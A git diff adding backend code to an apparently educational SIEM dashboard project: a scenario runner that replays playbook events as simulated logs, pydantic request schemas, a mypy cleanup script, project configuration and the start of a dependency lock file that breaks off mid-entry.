+from app.engine.severity import classify +from app.models.LogEvent import LogEvent +from app.models.ScenarioRun import ScenarioRun +from app.scenarios.playbook import Playbook + + +logger = structlog.get_logger() + +JITTER_FACTOR = 0.2 + + +@dataclass +class ScenarioThread: + """ + A daemon thread that plays back a single scenario playbook + """ + run_id: str + playbook: Playbook + thread: threading.Thread = field(init = False) + stop_event: threading.Event = field(default_factory = threading.Event) + pause_event: threading.Event = field(default_factory = threading.Event) + speed: float = 1.0 + + def __post_init__(self) -> None: + self.pause_event.set() + self.thread = threading.Thread( + target = self._run, + daemon = True, + name = f"scenario-{self.run_id}", + ) + + def start(self) -> None: + """ + Start the playback thread + """ + self.thread.start() + + def stop(self) -> None: + """ + Signal the thread to stop + """ + self.stop_event.set() + self.pause_event.set() + + def pause(self) -> None: + """ + Pause playback until resumed + """ + self.pause_event.clear() + + def resume(self) -> None: + """ + Resume paused playback + """ + self.pause_event.set() + + def _run(self) -> None: + """ + Iterate through playbook events with delay and jitter + """ + try: + run = ScenarioRun.get_by_id(self.run_id) + + for event in self.playbook.events: + if self.stop_event.is_set(): + break + + self.pause_event.wait() + if self.stop_event.is_set(): + break + + delay = event.delay_seconds / self.speed + jitter = delay * JITTER_FACTOR + actual_delay = max(0, delay + random.uniform(-jitter, jitter)) # noqa: S311 + time.sleep(actual_delay) + + if self.stop_event.is_set(): + break + + self._emit_event(event, run) + + if self.stop_event.is_set(): + run.mark_stopped() + else: + run.mark_completed() + except Exception: + logger.exception("scenario_thread_error", run_id=self.run_id) + try: + run = ScenarioRun.get_by_id(self.run_id) + run.mark_error(f"Thread crashed: check logs for run {self.run_id}") + except Exception: + logger.exception("scenario_error_update_failed", run_id=self.run_id) + finally: + ScenarioRunner.remove(self.run_id) + + def _emit_event(self, event: Any, run: ScenarioRun) -> None: + """ + Normalize, persist, and publish a single playbook event + """ + raw = { + "source_type": event.source_type, + "event_type": event.event_type, + "source_ip": event.source_ip, + "dest_ip": event.dest_ip, + "source_port": event.source_port, + "dest_port": event.dest_port, + "hostname": event.hostname, + "username": event.username, + "mitre_tactic": event.mitre_tactic, + "mitre_technique": event.mitre_technique, + "message": event.message, + **event.extra, + } + raw = {k: v for k, v in raw.items() if v is not None} + + normalized = normalize(raw) + severity = classify(normalized) + + log_event = LogEvent.create_event( + **normalized, + severity = severity, + scenario_run_id = run.id, + mitre_tactic = event.mitre_tactic, + mitre_technique = event.mitre_technique, + ) + + publish_event( + settings.LOG_STREAM_KEY, + { + "id": str(log_event.id), + "timestamp": str(log_event.timestamp), + "source_type": log_event.source_type, + "severity": log_event.severity, + "event_type": log_event.event_type, + "source_ip": log_event.source_ip, + "dest_ip": log_event.dest_ip, + "hostname": log_event.hostname, + "username": log_event.username, + "scenario_run_id": str(run.id), + }, + ) + + run.increment_events() + + +class ScenarioRunner: + """ + Singleton manager for active scenario threads + """ + _active: dict[str, ScenarioThread] = {} # noqa: RUF012 + _lock = threading.Lock() + + @classmethod + def start(cls, scenario_filename: str) -> ScenarioRun: + """ + Load a playbook and start a new scenario thread + """ + path = Path(settings.SCENARIO_PLAYBOOK_DIR) / scenario_filename + playbook = Playbook.load(path) + run = ScenarioRun.start_run(playbook.name) + + thread = ScenarioThread( + run_id = str(run.id), + playbook = playbook, + ) + + with cls._lock: + cls._active[str(run.id)] = thread + + thread.start() + return run + + @classmethod + def stop(cls, run_id: str) -> None: + """ + Stop an active scenario thread + """ + with cls._lock: + thread = cls._active.get(run_id) + if thread: + thread.stop() + run = ScenarioRun.get_by_id(run_id) + run.mark_stopped() + + @classmethod + def pause(cls, run_id: str) -> None: + """ + Pause an active scenario thread + """ + with cls._lock: + thread = cls._active.get(run_id) + if thread: + thread.pause() + run = ScenarioRun.get_by_id(run_id) + run.mark_paused() + + @classmethod + def resume(cls, run_id: str) -> None: + """ + Resume a paused scenario thread + """ + with cls._lock: + thread = cls._active.get(run_id) + if thread: + thread.resume() + run = ScenarioRun.get_by_id(run_id) + run.mark_resumed() + + @classmethod + def set_speed(cls, run_id: str, speed: float) -> None: + """ + Adjust the playback speed of an active scenario + """ + with cls._lock: + thread = cls._active.get(run_id) + if thread: + thread.speed = speed + run = ScenarioRun.get_by_id(run_id) + run.set_speed(speed) + + @classmethod + def remove(cls, run_id: str) -> None: + """ + Remove a completed or stopped thread from the active map + """ + with cls._lock: + cls._active.pop(run_id, None) + + @classmethod + def get_active_ids(cls) -> list[str]: + """ + Return IDs of all currently active scenario threads + """ + with cls._lock: + return list(cls._active.keys()) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/__init__.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/__init__.py new file mode 100644 index 00000000..e1add2a9 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/__init__.py @@ -0,0 +1,4 @@ +""" +©AngelaMos | 2026 +__init__.py +""" diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/admin.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/admin.py new file mode 100644 index 00000000..e7e3caf3 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/admin.py @@ -0,0 +1,27 @@ +""" +©AngelaMos | 2026 +admin.py +""" + +from pydantic import BaseModel, Field + +from app.config import settings +from app.models.User import UserRole + + +VALID_ROLES = [r.value for r in UserRole] + + +class AdminUpdateRoleRequest(BaseModel): + """ + Payload for changing a user role + """ + role: str = Field(pattern = f"^({'|'.join(VALID_ROLES)})$") + + +class AdminUserListParams(BaseModel): + """ + Query parameters for paginated user listing + """ + page: int = Field(default = 1, ge = 1) + per_page: int = Field(default = settings.DEFAULT_PAGE_SIZE, ge = 1, le = settings.MAX_PAGE_SIZE) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/alert.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/alert.py new file mode 100644 index 00000000..e7ece44f --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/alert.py @@ -0,0 +1,31 @@ +""" +©AngelaMos | 2026 +alert.py +""" + +from pydantic import BaseModel, Field + +from app.config import settings +from app.models.Alert import AlertStatus + + +class AlertStatusUpdate(BaseModel): + """ + Schema for transitioning an alert to a new status + """ + status: AlertStatus + notes: str | None = None + + +class AlertQueryParams(BaseModel): + """ + Filters for listing alerts + """ + page: int = Field(default=1, ge=1) + per_page: int = Field( + default=settings.DEFAULT_PAGE_SIZE, + ge=1, + le=settings.MAX_PAGE_SIZE, + ) + status: str | None = None + severity: str | None = None diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/auth.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/auth.py new file mode 100644 index 00000000..8770056a --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/auth.py @@ -0,0 +1,73 @@ +""" +©AngelaMos | 2026 +auth.py +""" + +from pydantic import BaseModel, EmailStr, Field + +from app.models.User import USERNAME_MIN, USERNAME_MAX + + +PASSWORD_MIN = 8 + + +class RegisterRequest(BaseModel): + """ + Schema for user registration + """ + username: str = Field( + min_length = USERNAME_MIN, + max_length = USERNAME_MAX, + ) + email: EmailStr + password: str = Field(min_length = PASSWORD_MIN) + + +class LoginRequest(BaseModel): + """ + Schema for user login + """ + username: str + password: str + + +class TokenResponse(BaseModel): + """ + JWT token returned after login or registration + """ + access_token: str + token_type: str = "bearer" + + +class UpdateProfileRequest(BaseModel): + """ + Self-service profile update validated by current password + """ + current_password: str + username: str | None = Field( + default = None, + min_length = USERNAME_MIN, + max_length = USERNAME_MAX, + ) + email: EmailStr | None = None + password: str | None = Field(default = None, min_length = PASSWORD_MIN) + + +class UserResponse(BaseModel): + """ + Public user profile data + """ + id: str + username: str + email: str + role: str + is_active: bool + + +class UpdateProfileResponse(BaseModel): + """ + Updated profile with an optional refreshed token + """ + user: UserResponse + access_token: str | None = None + token_type: str = "bearer" diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/dashboard.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/dashboard.py new file mode 100644 index 00000000..8fdfc722 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/dashboard.py @@ -0,0 +1,32 @@ +""" +©AngelaMos | 2026 +dashboard.py +""" + +from pydantic import BaseModel, Field + +from app.config import settings + + +class TimelineParams(BaseModel): + """ + Query params for event timeline aggregation + """ + hours: int = Field( + default=settings.TIMELINE_DEFAULT_HOURS, + ge=1, + ) + bucket_minutes: int = Field( + default=settings.TIMELINE_BUCKET_MINUTES, + ge=1, + ) + + +class TopSourcesParams(BaseModel): + """ + Query params for top source IPs + """ + limit: int = Field( + default=settings.TOP_SOURCES_LIMIT, + ge=1, + ) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/log_event.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/log_event.py new file mode 100644 index 00000000..3d1aaad1 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/log_event.py @@ -0,0 +1,68 @@ +""" +©AngelaMos | 2026 +log_event.py +""" + +from typing import Any + +from pydantic import BaseModel, Field + +from app.config import settings + + +class LogIngestRequest(BaseModel): + """ + Raw log event submitted for ingestion + """ + source_type: str + event_type: str | None = None + source_ip: str | None = None + dest_ip: str | None = None + source_port: int | None = None + dest_port: int | None = None + hostname: str | None = None + username: str | None = None + mitre_tactic: str | None = None + mitre_technique: str | None = None + message: str | None = None + metadata: dict[str, Any] | None = None + + model_config = {"extra": "allow"} + + +class LogQueryParams(BaseModel): + """ + Filters for listing log events + """ + page: int = Field(default = 1, ge = 1) + per_page: int = Field( + default = settings.DEFAULT_PAGE_SIZE, + ge = 1, + le = settings.MAX_PAGE_SIZE, + ) + source_type: str | None = None + severity: str | None = None + source_ip: str | None = None + event_type: str | None = None + + +class LogSearchParams(BaseModel): + """ + Parameters for full text log search + """ + q: str = Field(min_length = 1) + page: int = Field(default = 1, ge = 1) + per_page: int = Field( + default = settings.DEFAULT_PAGE_SIZE, + ge = 1, + le = settings.MAX_PAGE_SIZE, + ) + + +class PivotParams(BaseModel): + """ + Query params for forensic pivot lookups + """ + ip: str | None = None + username: str | None = None + hostname: str | None = None diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/rule.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/rule.py new file mode 100644 index 00000000..1ea5d633 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/rule.py @@ -0,0 +1,105 @@ +""" +©AngelaMos | 2026 +rule.py +""" + +from typing import Any, Literal + +from pydantic import BaseModel, Field, model_validator + +from app.config import settings +from app.models.CorrelationRule import RuleType +from app.models.LogEvent import Severity + + +class ThresholdConditions(BaseModel): + """ + Conditions for threshold-based correlation rules + """ + event_filter: dict[str, str] + threshold: int = Field(ge=1) + window_seconds: int = Field(ge=1) + group_by: str + + +class SequenceStep(BaseModel): + """ + A single step in a sequence correlation rule + """ + event_filter: dict[str, str] + count: int = Field(default=1, ge=1) + + +class SequenceConditions(BaseModel): + """ + Conditions for sequence-based correlation rules + """ + steps: list[SequenceStep] = Field(min_length=2) + window_seconds: int = Field(ge=1) + group_by: str + + +class AggregationConditions(BaseModel): + """ + Conditions for aggregation-based correlation rules + """ + event_filter: dict[str, str] + aggregation: Literal["count_distinct"] + aggregation_field: str + threshold: int = Field(ge=1) + window_seconds: int = Field(ge=1) + group_by: str + + +CONDITION_SCHEMAS: dict[RuleType, type[BaseModel]] = { + RuleType.THRESHOLD: ThresholdConditions, + RuleType.SEQUENCE: SequenceConditions, + RuleType.AGGREGATION: AggregationConditions, +} + + +class RuleCreateRequest(BaseModel): + """ + Schema for creating a new correlation rule + """ + name: str = Field(min_length=1) + description: str = "" + rule_type: RuleType + conditions: dict[str, Any] + severity: Severity + enabled: bool = True + mitre_tactic: str | None = None + mitre_technique: str | None = None + + @model_validator(mode="after") + def validate_conditions(self) -> RuleCreateRequest: + """ + Validate conditions dict matches the expected structure for rule_type + """ + schema = CONDITION_SCHEMAS[self.rule_type] + schema.model_validate(self.conditions) + return self + + +class RuleUpdateRequest(BaseModel): + """ + Schema for updating an existing correlation rule + """ + name: str | None = None + description: str | None = None + conditions: dict[str, Any] | None = None + severity: Severity | None = None + enabled: bool | None = None + mitre_tactic: str | None = None + mitre_technique: str | None = None + + +class RuleTestRequest(BaseModel): + """ + Schema for testing a rule against historical events + """ + hours: int = Field( + default=settings.TIMELINE_DEFAULT_HOURS, + ge=1, + le=settings.RULE_TEST_MAX_HOURS, + ) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/scenario.py b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/scenario.py new file mode 100644 index 00000000..1508babe --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/schemas/scenario.py @@ -0,0 +1,25 @@ +""" +©AngelaMos | 2026 +scenario.py +""" + +from pydantic import BaseModel, Field + +from app.config import settings + + +class ScenarioStartRequest(BaseModel): + """ + Request to start a scenario playbook by filename + """ + filename: str = Field(min_length = 1) + + +class SpeedRequest(BaseModel): + """ + Request to adjust scenario playback speed + """ + speed: float = Field( + ge = settings.SCENARIO_MIN_SPEED, + le = settings.SCENARIO_MAX_SPEED, + ) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/fix_mypy.py b/PROJECTS/intermediate/siem-dashboard/backend/fix_mypy.py new file mode 100644 index 00000000..a0ce60d2 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/fix_mypy.py @@ -0,0 +1,70 @@ +""" +©AngelaMos | 2026 +fix_mypy.py +""" + +import re +from pathlib import Path + +def remove_unused_ignores(file_path: Path, lines_with_unused: list[int]) -> None: + """Remove unused type: ignore comments from specific lines""" + with open(file_path) as f: + lines = f.readlines() + + for line_num in lines_with_unused: + idx = line_num - 1 + if idx < len(lines): + line = lines[idx] + line = re.sub(r' # type: ignore\[no-untyped-call\]', '', line) + line = re.sub(r' # type: ignore\[no-any-return\]', '', line) + line = re.sub(r' # type: ignore\[attr-defined\]', '', line) + line = re.sub(r' # type: ignore\[no-untyped-call, no-any-return\]', '', line) + line = re.sub(r' # type: ignore', '', line) + lines[idx] = line + + with open(file_path, 'w') as f: + f.writelines(lines) + +# Clean up User.py +remove_unused_ignores( + Path("app/models/User.py"), + [57, 64, 71, 78, 97, 109, 117, 127, 135, 142, 149, 155] +) + +# Clean up ScenarioRun.py +remove_unused_ignores( + Path("app/models/ScenarioRun.py"), + [63, 71, 80, 81, 89, 97, 104, 111, 120, 127] +) + +# Clean up LogEvent.py +remove_unused_ignores( + Path("app/models/LogEvent.py"), + [100, 113, 156, 163, 170, 217, 241, 280] +) + +# Clean up CorrelationRule.py +remove_unused_ignores( + Path("app/models/CorrelationRule.py"), + [58] +) + +# Clean up Alert.py +remove_unused_ignores( + Path("app/models/Alert.py"), + [88, 125, 132] +) + +# Clean up scenario_ctrl.py +remove_unused_ignores( + Path("app/controllers/scenario_ctrl.py"), + [43, 53, 63, 74] +) + +# Clean up rule_ctrl.py +remove_unused_ignores( + Path("app/controllers/rule_ctrl.py"), + [23, 48, 61, 70] +) + +print("Removed unused type: ignore comments") diff --git a/PROJECTS/intermediate/siem-dashboard/backend/pyproject.toml b/PROJECTS/intermediate/siem-dashboard/backend/pyproject.toml new file mode 100644 index 00000000..cdd08e61 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/pyproject.toml @@ -0,0 +1,269 @@ +[project] +name = "siem-dashboard" +version = "0.1.0" +description = "Flask MongoDB SIEM Dashboard" +requires-python = ">3.14" +dependencies = [ + "flask>=3.1.2", + "flask-cors>=6.0.2", + "mongoengine>=0.29.1", + "pydantic[email]>=2.12.5,<3.0.0", + "pydantic-settings>=2.12.0,<3.0.0", + "pyjwt>=2.11.0", + "pwdlib[argon2]>=0.3.0,<0.4.0", + "uuid6>=2025.0.1,<2026.0.0", + "redis>=7.1.0,<8.0.0", + "flask-limiter>=3.12,<4.0.0", + "structlog>=25.5.0,<26.0.0", + "pyyaml>=6.0.3", + "gunicorn>=25.0.3", +] + +[project.optional-dependencies] +dev = [ + "pytest>=9.0.2,<10.0.0", + "pytest-cov>=7.0.0,<8.0.0", + "mypy>=1.19.1", + "types-redis>=4.6.0.20241004,<5.0.0", + "types-flask-cors>=6.0.0.20250809", + "ruff>=0.15.0", + "ty>=0.0.15", + "pre-commit>=4.5.1", + "pylint>=4.0.4,<5.0.0", + "pylint-pydantic>=0.4.1,<0.5.0", + "pylint-per-file-ignores>=3.2.0,<4.0.0", +] + +[build-system] +requires = [ + "hatchling", +] +build-backend = "hatchling.build" + +[tool.hatch.build.targets.wheel] +packages = [ + "app", +] + +[tool.ruff] +target-version = "py314" +line-length = 88 +src = [ + "app", +] + +[tool.ruff.lint] +select = [ + "E", + "W", + "F", + "B", + "C4", + "UP", + "ARG", + "SIM", + "PTH", + "RUF", + "S", + "N", +] +ignore = [ + "E501", + "B008", + "S101", + "S104", + "S105", + "ARG001", + "E712", + "N999", + "N818", + "UP046", + "RUF005", +] + +[tool.ruff.lint.per-file-ignores] +"tests/**/*.py" = [ + "S101", + "ARG001", +] +"conftest.py" = [ + "S107", +] + +[tool.mypy] +python_version = "3.14" +strict = true +warn_return_any = true +warn_unused_ignores = false +disallow_untyped_defs = true +disallow_incomplete_defs = true +plugins = [ + "pydantic.mypy", +] + +[[tool.mypy.overrides]] +module = [ + "tests.*", + "conftest", +] +ignore_errors = true + +[[tool.mypy.overrides]] +module = [ + "uuid6", + "structlog", + "structlog.*", + "flask_limiter", + "flask_limiter.*", + "pwdlib", + "mongoengine", + "mongoengine.*", + "yaml", +] +ignore_missing_imports = true + +[[tool.mypy.overrides]] +module = [ + "app.config", +] +implicit_reexport = true + +[tool.pydantic-mypy] +init_forbid_extra = true +init_typed = true +warn_required_dynamic_aliases = true + +[tool.pylint.main] +py-version = "3.14" +jobs = 4 +load-plugins = [ + "pylint_pydantic", + "pylint_per_file_ignores", +] +persistent = true +suggestion-mode = true +ignore = [ + "venv", + ".venv", + "__pycache__", + "build", + "dist", + ".git", + ".pytest_cache", + ".mypy_cache", + ".ruff_cache", +] +ignore-paths = [ + "^venv/.*", + "^.venv/.*", + "^build/.*", + "^dist/.*", +] + +[tool.pylint.messages_control] +disable = [ + "C0103", + "C0116", + "C0121", + "C0301", + "C0302", + "C0303", + "C0304", + "C0305", + "C0411", + "E0401", + "E1102", + "E1136", + "R0801", + "R0901", + "R0903", + "R0917", + "W0611", + "W0612", + "W0613", + "W0621", + "W0622", + "W0718", +] + +[tool.pylint.pylint-per-file-ignores] +"conftest.py" = "import-outside-toplevel" + +[tool.pylint.format] +max-line-length = 95 + +[tool.pylint.design] +max-args = 12 +max-attributes = 10 +max-branches = 15 +max-locals = 20 +max-statements = 55 + +[tool.pytest.ini_options] +testpaths = [ + "tests", +] +addopts = "-ra -q" +filterwarnings = [ + "ignore::DeprecationWarning", +] + +[tool.coverage.run] +branch = true +source = [ + "app", +] + +[tool.coverage.report] +exclude_lines = [ + "pragma: no cover", + "if TYPE_CHECKING:", + "raise NotImplementedError", +] + +[tool.ty.src] +include = [ + "app", + "tests", +] +exclude = [ + ".venv/**", +] +respect-ignore-files = true + +[tool.ty.environment] +python-version = "3.12" +root = [ + "./app", +] +python = "./.venv" + +[tool.ty.rules] +possibly-missing-attribute = "error" +possibly-missing-import = "error" +unused-ignore-comment = "warn" +redundant-cast = "warn" +undefined-reveal = "warn" + +[[tool.ty.overrides]] +include = [ + "tests/**", +] + +[tool.ty.overrides.rules] +unresolved-reference = "warn" +invalid-argument-type = "warn" + +[[tool.ty.overrides]] +include = [ + "app/controllers/**", + "app/engine/**", + "app/scenarios/**", +] + +[tool.ty.overrides.rules] +unresolved-attribute = "warn" + +[tool.ty.terminal] +error-on-warning = false +output-format = "full" diff --git a/PROJECTS/intermediate/siem-dashboard/backend/uv.lock b/PROJECTS/intermediate/siem-dashboard/backend/uv.lock new file mode 100644 index 00000000..667c25f6 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/uv.lock @@ -0,0 +1,1021 @@ +version = 1 +revision = 3 +requires-python = ">3.14" + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "argon2-cffi" +version = "25.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "argon2-cffi-bindings" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0e/89/ce5af8a7d472a67cc819d5d998aa8c82c5d860608c4db9f46f1162d7dab9/argon2_cffi-25.1.0.tar.gz", hash = "sha256:694ae5cc8a42f4c4e2bf2ca0e64e51e23a040c6a517a85074683d3959e1346c1", size = 45706, upload-time = "2025-06-03T06:55:32.073Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4f/d3/a8b22fa575b297cd6e3e3b0155c7e25db170edf1c74783d6a31a2490b8d9/argon2_cffi-25.1.0-py3-none-any.whl", hash = "sha256:fdc8b074db390fccb6eb4a3604ae7231f219aa669a2652e0f20e16ba513d5741", size = 14657, upload-time = "2025-06-03T06:55:30.804Z" }, +] + +[[package]] +name = "argon2-cffi-bindings" +version = "25.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5c/2d/db8af0df73c1cf454f71b2bbe5e356b8c1f8041c979f505b3d3186e520a9/argon2_cffi_bindings-25.1.0.tar.gz", hash = "sha256:b957f3e6ea4d55d820e40ff76f450952807013d361a65d7f28acc0acbf29229d", size = 1783441, upload-time = "2025-07-30T10:02:05.147Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/60/97/3c0a35f46e52108d4707c44b95cfe2afcafc50800b5450c197454569b776/argon2_cffi_bindings-25.1.0-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:3d3f05610594151994ca9ccb3c771115bdb4daef161976a266f0dd8aa9996b8f", size = 54393, upload-time = "2025-07-30T10:01:40.97Z" }, + { url = "https://files.pythonhosted.org/packages/9d/f4/98bbd6ee89febd4f212696f13c03ca302b8552e7dbf9c8efa11ea4a388c3/argon2_cffi_bindings-25.1.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:8b8efee945193e667a396cbc7b4fb7d357297d6234d30a489905d96caabde56b", size = 29328, upload-time = "2025-07-30T10:01:41.916Z" }, + { url = "https://files.pythonhosted.org/packages/43/24/90a01c0ef12ac91a6be05969f29944643bc1e5e461155ae6559befa8f00b/argon2_cffi_bindings-25.1.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:3c6702abc36bf3ccba3f802b799505def420a1b7039862014a65db3205967f5a", size = 31269, upload-time = "2025-07-30T10:01:42.716Z" }, + { url = "https://files.pythonhosted.org/packages/d4/d3/942aa10782b2697eee7af5e12eeff5ebb325ccfb86dd8abda54174e377e4/argon2_cffi_bindings-25.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a1c70058c6ab1e352304ac7e3b52554daadacd8d453c1752e547c76e9c99ac44", size = 86558, upload-time = "2025-07-30T10:01:43.943Z" }, + { url = "https://files.pythonhosted.org/packages/0d/82/b484f702fec5536e71836fc2dbc8c5267b3f6e78d2d539b4eaa6f0db8bf8/argon2_cffi_bindings-25.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e2fd3bfbff3c5d74fef31a722f729bf93500910db650c925c2d6ef879a7e51cb", size = 92364, upload-time = "2025-07-30T10:01:44.887Z" }, + { url = "https://files.pythonhosted.org/packages/c9/c1/a606ff83b3f1735f3759ad0f2cd9e038a0ad11a3de3b6c673aa41c24bb7b/argon2_cffi_bindings-25.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c4f9665de60b1b0e99bcd6be4f17d90339698ce954cfd8d9cf4f91c995165a92", size = 85637, upload-time = "2025-07-30T10:01:46.225Z" }, + { url = "https://files.pythonhosted.org/packages/44/b4/678503f12aceb0262f84fa201f6027ed77d71c5019ae03b399b97caa2f19/argon2_cffi_bindings-25.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ba92837e4a9aa6a508c8d2d7883ed5a8f6c308c89a4790e1e447a220deb79a85", size = 91934, upload-time = "2025-07-30T10:01:47.203Z" }, + { url = "https://files.pythonhosted.org/packages/f0/c7/f36bd08ef9bd9f0a9cff9428406651f5937ce27b6c5b07b92d41f91ae541/argon2_cffi_bindings-25.1.0-cp314-cp314t-win32.whl", hash = "sha256:84a461d4d84ae1295871329b346a97f68eade8c53b6ed9a7ca2d7467f3c8ff6f", size = 28158, upload-time = "2025-07-30T10:01:48.341Z" }, + { url = "https://files.pythonhosted.org/packages/b3/80/0106a7448abb24a2c467bf7d527fe5413b7fdfa4ad6d6a96a43a62ef3988/argon2_cffi_bindings-25.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b55aec3565b65f56455eebc9b9f34130440404f27fe21c3b375bf1ea4d8fbae6", size = 32597, upload-time = "2025-07-30T10:01:49.112Z" }, + { url = "https://files.pythonhosted.org/packages/05/b8/d663c9caea07e9180b2cb662772865230715cbd573ba3b5e81793d580316/argon2_cffi_bindings-25.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:87c33a52407e4c41f3b70a9c2d3f6056d88b10dad7695be708c5021673f55623", size = 28231, upload-time = "2025-07-30T10:01:49.92Z" }, + { url = "https://files.pythonhosted.org/packages/1d/57/96b8b9f93166147826da5f90376e784a10582dd39a393c99bb62cfcf52f0/argon2_cffi_bindings-25.1.0-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:aecba1723ae35330a008418a91ea6cfcedf6d31e5fbaa056a166462ff066d500", size = 54121, upload-time = "2025-07-30T10:01:50.815Z" }, + { url = "https://files.pythonhosted.org/packages/0a/08/a9bebdb2e0e602dde230bdde8021b29f71f7841bd54801bcfd514acb5dcf/argon2_cffi_bindings-25.1.0-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:2630b6240b495dfab90aebe159ff784d08ea999aa4b0d17efa734055a07d2f44", size = 29177, upload-time = "2025-07-30T10:01:51.681Z" }, + { url = "https://files.pythonhosted.org/packages/b6/02/d297943bcacf05e4f2a94ab6f462831dc20158614e5d067c35d4e63b9acb/argon2_cffi_bindings-25.1.0-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:7aef0c91e2c0fbca6fc68e7555aa60ef7008a739cbe045541e438373bc54d2b0", size = 31090, upload-time = "2025-07-30T10:01:53.184Z" }, + { url = "https://files.pythonhosted.org/packages/c1/93/44365f3d75053e53893ec6d733e4a5e3147502663554b4d864587c7828a7/argon2_cffi_bindings-25.1.0-cp39-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1e021e87faa76ae0d413b619fe2b65ab9a037f24c60a1e6cc43457ae20de6dc6", size = 81246, upload-time = "2025-07-30T10:01:54.145Z" }, + { url = "https://files.pythonhosted.org/packages/09/52/94108adfdd6e2ddf58be64f959a0b9c7d4ef2fa71086c38356d22dc501ea/argon2_cffi_bindings-25.1.0-cp39-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d3e924cfc503018a714f94a49a149fdc0b644eaead5d1f089330399134fa028a", size = 87126, upload-time = "2025-07-30T10:01:55.074Z" }, + { url = "https://files.pythonhosted.org/packages/72/70/7a2993a12b0ffa2a9271259b79cc616e2389ed1a4d93842fac5a1f923ffd/argon2_cffi_bindings-25.1.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:c87b72589133f0346a1cb8d5ecca4b933e3c9b64656c9d175270a000e73b288d", size = 80343, upload-time = "2025-07-30T10:01:56.007Z" }, + { url = "https://files.pythonhosted.org/packages/78/9a/4e5157d893ffc712b74dbd868c7f62365618266982b64accab26bab01edc/argon2_cffi_bindings-25.1.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:1db89609c06afa1a214a69a462ea741cf735b29a57530478c06eb81dd403de99", size = 86777, upload-time = "2025-07-30T10:01:56.943Z" }, + { url = "https://files.pythonhosted.org/packages/74/cd/15777dfde1c29d96de7f18edf4cc94c385646852e7c7b0320aa91ccca583/argon2_cffi_bindings-25.1.0-cp39-abi3-win32.whl", hash = "sha256:473bcb5f82924b1becbb637b63303ec8d10e84c8d241119419897a26116515d2", size = 27180, upload-time = "2025-07-30T10:01:57.759Z" }, + { url = "https://files.pythonhosted.org/packages/e2/c6/a759ece8f1829d1f162261226fbfd2c6832b3ff7657384045286d2afa384/argon2_cffi_bindings-25.1.0-cp39-abi3-win_amd64.whl", hash = "sha256:a98cd7d17e9f7ce244c0803cad3c23a7d379c301ba618a5fa76a67d116618b98", size = 31715, upload-time = "2025-07-30T10:01:58.56Z" }, + { url = 